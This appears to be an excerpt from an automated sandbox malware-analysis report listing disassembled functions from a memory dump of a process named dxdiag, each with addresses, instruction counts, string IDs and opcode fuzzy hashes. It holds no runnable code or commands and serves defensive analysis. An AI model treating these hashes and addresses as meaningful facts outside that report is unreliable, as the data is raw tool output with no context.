Function 00427C0F Relevance: 1.6, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

{B, xrefs: 00427BE2, 00427FE0

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: {B
API String ID: 0-2955416605
Opcode ID: b0bd08c29f9365885b933f1cf599b0cb6fa5fdb634cbb513a89aaee83ecc68c5
Instruction ID: 125d85a474e2c54c7edf7e8372bc309e0328607fb292080dea6794c80479f12b
Opcode Fuzzy Hash: b0bd08c29f9365885b933f1cf599b0cb6fa5fdb634cbb513a89aaee83ecc68c5
Instruction Fuzzy Hash: C3A145B5A0C3508FD7108F28D89222BBBE1AF86304F54883EF5D58B352E638D905CB97

Function 00409070 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

JR, xrefs: 00409089

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: JR
API String ID: 0-3458893224
Opcode ID: f7ae3770ed4749ad032964f2c81e60ade692c3c1a8750135e5cb492e043d9f21
Instruction ID: 44b59cc75133df7a41eb2e69763ada4243d618a4e2d430adff5262eca57ed642
Opcode Fuzzy Hash: f7ae3770ed4749ad032964f2c81e60ade692c3c1a8750135e5cb492e043d9f21
Instruction Fuzzy Hash: 0E61C52128C3C19AC3118F7994A07A7FFE09FA3314F1849BDE8D45B382D379891AD766

Function 0041CE00 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

~, xrefs: 0041CEC4

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: ~
API String ID: 0-1707062198
Opcode ID: da1ad588922710a023164653a75339d34dbf593a205ea83d969eb3b9ccb4115d
Instruction ID: 6fa54e92a4b9978c13d68c63913922f98e05887ce952ffb0b0acc6151ef16d97
Opcode Fuzzy Hash: da1ad588922710a023164653a75339d34dbf593a205ea83d969eb3b9ccb4115d
Instruction Fuzzy Hash: 04811972A442614FC721CE28CC9139BBB919B85324F19827EECB99B3D2D638DC46D7D1

Function 00417D74 Relevance: 1.5, Strings: 1, Instructions: 215COMMON

Download Yara Rule

Strings

gfff, xrefs: 00417F4E

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: e937fccc05efa2ecf9c05215e5990dbb3af36eaf18178220cc255147cd05165b
Instruction ID: b635ffe6758fa563810d355454ed740eab1994e1762da840ca45afbcef432b43
Opcode Fuzzy Hash: e937fccc05efa2ecf9c05215e5990dbb3af36eaf18178220cc255147cd05165b
Instruction Fuzzy Hash: AF61D2B16083058BD354CF18C8417ABBBE6FBC9314F15892EE489D7392DB78D945CB8A

Function 0043A71E Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

W, xrefs: 0043A793

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: W
API String ID: 0-793274765
Opcode ID: 949d4f68b5a0f5e009217c52b19c5dd71c50b240281d9f5b5bf409637eb5aa83
Instruction ID: 1e5f2fd2993d5a5d00e1584304d987d2456e5e273d97887f4c8a7713582cd764
Opcode Fuzzy Hash: 949d4f68b5a0f5e009217c52b19c5dd71c50b240281d9f5b5bf409637eb5aa83
Instruction Fuzzy Hash: FE01D877B024018BC71CCF38C8A3565B7A3EB96215769627EC562DF3D9DE3498018648

Function 0040F116 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5e5b76ba52c3424cd9b7fcdc2f1a91986ccf407eca0dfc2878058712d65e054
Instruction ID: f3d5467b55631bdaa724751aa9045b56e4334b6402e67d183f6a87da8050b689
Opcode Fuzzy Hash: b5e5b76ba52c3424cd9b7fcdc2f1a91986ccf407eca0dfc2878058712d65e054
Instruction Fuzzy Hash: D152C471608B408FD364DF38C5953A7BBE1AB55314F18893ED8EB837C2E639A509C746

Function 00406670 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d126f66a0e66620eabdd7cd9048ccabb2a362495bcb1caefcf2ffaaa0a9a3f4a
Instruction ID: cba84eeb8f78e0ae709cb9e2e748fe6274e4b764df0cc893636221a17d4e6bb5
Opcode Fuzzy Hash: d126f66a0e66620eabdd7cd9048ccabb2a362495bcb1caefcf2ffaaa0a9a3f4a
Instruction Fuzzy Hash: 2452F1B0A08B849FE730DF24C4847A7BBE1AB51314F15883ED5E7167C2C37DA9958B1A

Function 0041EC80 Relevance: .7, Instructions: 658COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc4c0233347152bea9374f1e245860b134debedbd6707f992945391f7166038a
Instruction ID: 86af1cb4bafd0ed74008c60c32463ec180b14810afe3fc4f9a0b4589affe1339
Opcode Fuzzy Hash: cc4c0233347152bea9374f1e245860b134debedbd6707f992945391f7166038a
Instruction Fuzzy Hash: 476219B0508B819ED371CF3D8805786BFE5AB5A320F148A5EE4FAC7392D774A501CB66

Function 00402F50 Relevance: .7, Instructions: 657COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05d9facb0d4c79a7579644c66930578ddf1e6edfe5b96f5a7fc26d4a417109ca
Instruction ID: 1c54c97c46aa2ef6bdbd5d76da75d5e4d1013e71daecfc50a96a56d554505fa0
Opcode Fuzzy Hash: 05d9facb0d4c79a7579644c66930578ddf1e6edfe5b96f5a7fc26d4a417109ca
Instruction Fuzzy Hash: 6552F4715083459FCB14CF18C0806AABFE1BF89305F188A7EF8996B391D778E945CB89

Function 00407450 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e146d9e79c543f870ee6916604a8e8036e439f7ac644d997363382936f2289b5
Instruction ID: e3b42c420a0ab721274a946c9fa7eab4dab2f787d0bed5ea88cf2f50095341df
Opcode Fuzzy Hash: e146d9e79c543f870ee6916604a8e8036e439f7ac644d997363382936f2289b5
Instruction Fuzzy Hash: 5F22B332A087118BC725DE18D9806ABB3E1BFC4319F19893ED9C6A7385D738B8518B47

Function 00403950 Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71b1cecae46f736fb81e8164bc74a66928acdad7a3bbb41b8c7e87c625e2b1db
Instruction ID: cb804480fa9771f3decfe968603f1fa251b047b45c1119fa1a0aece904f71b93
Opcode Fuzzy Hash: 71b1cecae46f736fb81e8164bc74a66928acdad7a3bbb41b8c7e87c625e2b1db
Instruction Fuzzy Hash: C8322470914B118FC328CF29C68052ABBF5BF85711B604A2ED697A7F90D73AF945CB18

Function 00411712 Relevance: .5, Instructions: 546COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f567d6d837b9d1cd09dbb14271fc336aa9119b96957633eaba47b69cb481c3c3
Instruction ID: 8de7fec0fbf75a066610e9e7739594f8429d2466b2c872ee27e4363637c8b379
Opcode Fuzzy Hash: f567d6d837b9d1cd09dbb14271fc336aa9119b96957633eaba47b69cb481c3c3
Instruction Fuzzy Hash: 9A22D3B5A08B408FD324DF38D4953ABBBE1AF55304F04893ED5EB87392E638A545CB46

Function 0043BA70 Relevance: .5, Instructions: 504COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75d62604bc8ba10a3965eda64e96c0529ca78dc7befd1f69851b412b056e6d36
Instruction ID: f274cfa4fd23e6236676cd1f27d37eda4d2c4e9f7f04722437533fa671a78e6f
Opcode Fuzzy Hash: 75d62604bc8ba10a3965eda64e96c0529ca78dc7befd1f69851b412b056e6d36
Instruction Fuzzy Hash: 03E11136718215CFCB08CF38D89126BB7E2EB8A314F1A857ED846D7391DB38D8058B85

Function 004362F0 Relevance: .5, Instructions: 482COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 25fc821ec4db295837e7241b6350ca118c1fd0113733dc9c373dc5578713d375
Instruction ID: 66bc5b333a0c6ee299b6e4738c483b6afcae0af6661c562ee48f541c7812e622
Opcode Fuzzy Hash: 25fc821ec4db295837e7241b6350ca118c1fd0113733dc9c373dc5578713d375
Instruction Fuzzy Hash: 71D14631608311ABD314DF24C88166FF7E1EB99718F15E92EE98593391D778DC05CB8A

Function 004082F0 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c961975c57f87857eab043c76c47428008017fdca8ad897df3e3d02d69e77613
Instruction ID: 193ede2baf899d4cd5aa5ba4271a00cee3d3de787d1d5f2eafa8c2ae60b57e67
Opcode Fuzzy Hash: c961975c57f87857eab043c76c47428008017fdca8ad897df3e3d02d69e77613
Instruction Fuzzy Hash: ADF12931A083525BC714CE29C99016BB7E3AFC5324F198A2EE4E5673D5DB38ED068B85

Function 00405980 Relevance: .4, Instructions: 400COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f22763de4bcdc26485400349c62461b958b278f38fe56ac1e4a402e23215dde
Instruction ID: 5cf728b11992c65e55bd4be9dc5e9eb5593f12857077bfd5cee5c93eadafeb55
Opcode Fuzzy Hash: 0f22763de4bcdc26485400349c62461b958b278f38fe56ac1e4a402e23215dde
Instruction Fuzzy Hash: 78E179711087418FD720DF29C880B6BBBE1EF99304F44882EE4D597791E779E948CB96

Function 0043D040 Relevance: .4, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5f5a32466b316229b481c2a5b140de938fb66be6b533df1eade2e4f47dd166c5
Instruction ID: 49bb995cc6258f3b287554f64d1e249e4e01c3de4c67095bf9184da5ae40cd93
Opcode Fuzzy Hash: 5f5a32466b316229b481c2a5b140de938fb66be6b533df1eade2e4f47dd166c5
Instruction Fuzzy Hash: 1BA13335A083118BC714DF29E88062BB7F2EF89310F09D56EE9918B395D779EC51CB86

Function 0041D0C0 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afb16abf37928c5a7a5a34e99eaa9267622f6c5fd6ab5e95d3228bbac6b96ad5
Instruction ID: 7ac7e3b168bbb7afd94fe29f1e54d1f5c433d12e6b19e411e96f11bbc3239d1b
Opcode Fuzzy Hash: afb16abf37928c5a7a5a34e99eaa9267622f6c5fd6ab5e95d3228bbac6b96ad5
Instruction Fuzzy Hash: 88B104B5908201AFD7209F64CC42B5ABBE1FBD5314F144A3EFC98A32A0D735D855DB8A

Function 0043CCF0 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1484557844803522bcb117125b195ac7485a0970c045e37efc9e321e46d71030
Instruction ID: ba8a09dc2418c02870105bc3f6dd75cfc533c2f59140fb6bc1d6151d28bd9c6f
Opcode Fuzzy Hash: 1484557844803522bcb117125b195ac7485a0970c045e37efc9e321e46d71030
Instruction Fuzzy Hash: CB910475A043019BD3189F29C89166BB7F2FFC9720F19A52EE895A7390D738EC41CB85

Function 004061E0 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 192b9d08ce17bc1d312091997c30b37e60dce660e4c0c653e6da0c20b7bf1f23
Instruction ID: 86fd598b9c61968874822396d4ab8b809d08d2c2737f86e898986d6ce750098e
Opcode Fuzzy Hash: 192b9d08ce17bc1d312091997c30b37e60dce660e4c0c653e6da0c20b7bf1f23
Instruction Fuzzy Hash: 7FC15BB29087418FC360CF28DC86BABB7E1BF85318F09492DD5DAD6242E778A155CB46

Function 00434463 Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63f2497d7e62285dada7a2876494175f4b0e6dd28d60008838a8d86744dd0c73
Instruction ID: 6dc5e2ab74ae951aaa46e5139dd55047cfb70fd72833bef498b558f7cf56f5ea
Opcode Fuzzy Hash: 63f2497d7e62285dada7a2876494175f4b0e6dd28d60008838a8d86744dd0c73
Instruction Fuzzy Hash: 81D19A205087D18ED326CB3C8848B897FE15B6B324F0A83D9D4E65F3E3C3699946C766

Function 0041D4C0 Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 831baefd6db2069bebddcfca7b26fc92d614f56bb49a6b6e043571ad404f781f
Instruction ID: 20f5ed072c6bfbda0bc91a0cdde0de7c4fc080ad42862f5d594c9abb615ab40b
Opcode Fuzzy Hash: 831baefd6db2069bebddcfca7b26fc92d614f56bb49a6b6e043571ad404f781f
Instruction Fuzzy Hash: F6912832B59A804BD72C897C4C623AABA834BD6234F2CC77EE6B6873E5D96C48454345

Function 0042E480 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18cbb3298976ce66fbbf99e1a8bd522615c6d0d3dc0e3a5cc9d0c63d71211507
Instruction ID: 7a1eed898d1216762a2c7ff3d336fcba6ee216a9b47b043e4d7b41fbc61cb180
Opcode Fuzzy Hash: 18cbb3298976ce66fbbf99e1a8bd522615c6d0d3dc0e3a5cc9d0c63d71211507
Instruction Fuzzy Hash: 4E711726B59AF047D328853D6C223B67A824FD6334F6DC36EE5F28B3E1D56D88058349

Function 0040EE70 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93d4583822bfd4113c2639fd17e1e1593877d842793fc615dd777add114e4b86
Instruction ID: 3490b61dfd93ba184312fd33364581a50fe03d296d349fd53c95ac3e2b442cca
Opcode Fuzzy Hash: 93d4583822bfd4113c2639fd17e1e1593877d842793fc615dd777add114e4b86
Instruction Fuzzy Hash: 9C713A72714B008FD3249A3DC9823ABBBE2AB95314F18493ED5E7C33C6E63994168316

Function 00438A90 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5af0ea262aa505753d122ffbdef0684fedc436534fd759e33f9ed682c210788a
Instruction ID: c9e52aa4780a1a71b0f6536462f5c40a3ec639637a903cde8fa83514c66493a3
Opcode Fuzzy Hash: 5af0ea262aa505753d122ffbdef0684fedc436534fd759e33f9ed682c210788a
Instruction Fuzzy Hash: 33514C31A053118BD7209F2888C056FF792EFCA324F29A62EF59557361DB79EC0287D9

Function 00426A10 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ffa1a60249f0232ffc83a46548397397e6d537db2bb810b08643fa12542080
Instruction ID: 5fccf0568e07a38315d86764f9ee9d51859a75a7ad21a5e232c3aae3b42cafbc
Opcode Fuzzy Hash: a4ffa1a60249f0232ffc83a46548397397e6d537db2bb810b08643fa12542080
Instruction Fuzzy Hash: 6651F6B2714B094BC708CE2CEC9123AB7D2ABD5204F99C63DE956C7381EF78E9158785

Function 0041CA48 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09487fa8393e4d5ced12145e9cb1f49e8312c96201f8f64dc6a060f30583d89a
Instruction ID: a491210344505289bb21a907e851a53a7042adf8aad5960711688d9cdac3ce5c
Opcode Fuzzy Hash: 09487fa8393e4d5ced12145e9cb1f49e8312c96201f8f64dc6a060f30583d89a
Instruction Fuzzy Hash: 0D51E1B1A4C3118BC324CF14C89266BB7B2EF96704F59855EE8856B384E335EA45C78A

Function 0043B6F0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd73a24cf2c1eeda96ee9a537b8945225a616c5a5e26b6f04eeaa05b60d36c92
Instruction ID: 8cf5b8e416399a360e4fa64b07ba8964707688b42fdc82ebe9d8400aceb4da68
Opcode Fuzzy Hash: cd73a24cf2c1eeda96ee9a537b8945225a616c5a5e26b6f04eeaa05b60d36c92
Instruction Fuzzy Hash: B8517A3BA18725CFDB04DF28E89025AB3A2FF8A351F1A847DDA8587242D734DD41CB85

Function 0041A9B0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a33f91a27a4aeccfc9f3fb9721e5cd8899e2d19283775b4607b561721dd59f1b
Instruction ID: 8b22c1b07ae07e9e8c70e54b2664e987efbc7c12ed24ca91e0e63b8894becd6c
Opcode Fuzzy Hash: a33f91a27a4aeccfc9f3fb9721e5cd8899e2d19283775b4607b561721dd59f1b
Instruction Fuzzy Hash: EB41DF741093818BC720CF25C8616ABBBF1EF93364F044A5CE5C28B381E3B99945CB9B

Function 004022B0 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f786a1eb69f8401f55855f4f3fd31df1bddefe192891aa7b36f300e25ebbc475
Instruction ID: 75762df367a30ba79ec702eae056234a675c2c7c4eda59630da6670717d7c4bd
Opcode Fuzzy Hash: f786a1eb69f8401f55855f4f3fd31df1bddefe192891aa7b36f300e25ebbc475
Instruction Fuzzy Hash: 40618EB08007419BD3109F28ED4970BBAA0FF4136DF14473DE8AA966F1D375D9A5CB8A

Function 00426282 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 648467540263f3123b4c02ec5b4132445b1e857d55f0986aeedafcec0d1fb7a4
Instruction ID: c9803781c8c3e1c1503bbf2b7e0cb91ad599f48646208f78850af9b5bc693bbc
Opcode Fuzzy Hash: 648467540263f3123b4c02ec5b4132445b1e857d55f0986aeedafcec0d1fb7a4
Instruction Fuzzy Hash: DB5150B5A483408FD3209F65A88076FB7E4EBC6304F14493EF594A7281EBB8D5018B8B

Function 00434C70 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7da97045892d917d151bcc5c07033d7c408d372ec9e13f9ab9d0c550b62c297c
Instruction ID: a69caac395799761bf6e71e20599b88d1efc5e3bd1c132c25f0773fc5f0ec801
Opcode Fuzzy Hash: 7da97045892d917d151bcc5c07033d7c408d372ec9e13f9ab9d0c550b62c297c
Instruction Fuzzy Hash: 01516DB15087548FE714DF29D49435BBBE1BBC8318F044A2EE5E987350E379DA088F86

Function 004264F2 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79894954648a27af2fb2ffeb8b402e5cb964693089f0543b0c71abd2ccfebdb9
Instruction ID: 4eb4d543e274e6005dd5ac3d1296328a5cf021be0d14d03e83e5a7fc676d431e
Opcode Fuzzy Hash: 79894954648a27af2fb2ffeb8b402e5cb964693089f0543b0c71abd2ccfebdb9
Instruction Fuzzy Hash: 98515FB5A483508FD3209F65A88076FB7E4EBC6704F04493EF594A7390DBB8D9018B8B

Function 00433875 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ac499be7da668eacc6ab3733cda7f845be0ad4a5ad9f0ceb31502b03eb374089
Instruction ID: e982278c98a4a55a51dcc6fb07df31f24c4864dac0726d46ec862b3c15d8158c
Opcode Fuzzy Hash: ac499be7da668eacc6ab3733cda7f845be0ad4a5ad9f0ceb31502b03eb374089
Instruction Fuzzy Hash: A771E231A086918FC715CB3C885439EBFE16F5A324F19C799D4B99B3E2C7348946CB91

Function 0040E122 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b836058826120a22ad1171bfbe91918f388b7e8695f0bc64f326c4c29ef872e3
Instruction ID: 61c9cee79081f457ad2a062ba2558c50646c3fe9279bd5e78a79f88c837ed506
Opcode Fuzzy Hash: b836058826120a22ad1171bfbe91918f388b7e8695f0bc64f326c4c29ef872e3
Instruction Fuzzy Hash: 22518372751A018BC328CE39CC82567B6D3FBE5314728CA3D9196C76E5DA78E8118748

Function 00436980 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87c11cc2aa61918a5ec01a7bc7fdb27d64084d8cc58c4669a92926849c0a8f20
Instruction ID: 21dea60bbb219d656e905d7e418e96adc8bcbb3988d6d2a1a81a27e5a390af3f
Opcode Fuzzy Hash: 87c11cc2aa61918a5ec01a7bc7fdb27d64084d8cc58c4669a92926849c0a8f20
Instruction Fuzzy Hash: 62513B712087955FC724DA28C4912BBB7E2EFCA304F05CA1DE4DA8B385D239ED05D786

Function 0041A7A0 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05ba705d4abcc1caf8ae517ee4ae023d52f44c0ca7fa6ea03e4d84e5a78e3aaf
Instruction ID: f82dd9b0d87d4a5d6c48483010ad98791815e4d23863ac411e0dcac4d361aaf7
Opcode Fuzzy Hash: 05ba705d4abcc1caf8ae517ee4ae023d52f44c0ca7fa6ea03e4d84e5a78e3aaf
Instruction Fuzzy Hash: 57515A33A4A98047D328C93C5C213FA6A934FD7230B2D977FE5B2873E1C56D489A5306

Function 004029C0 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1918154419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

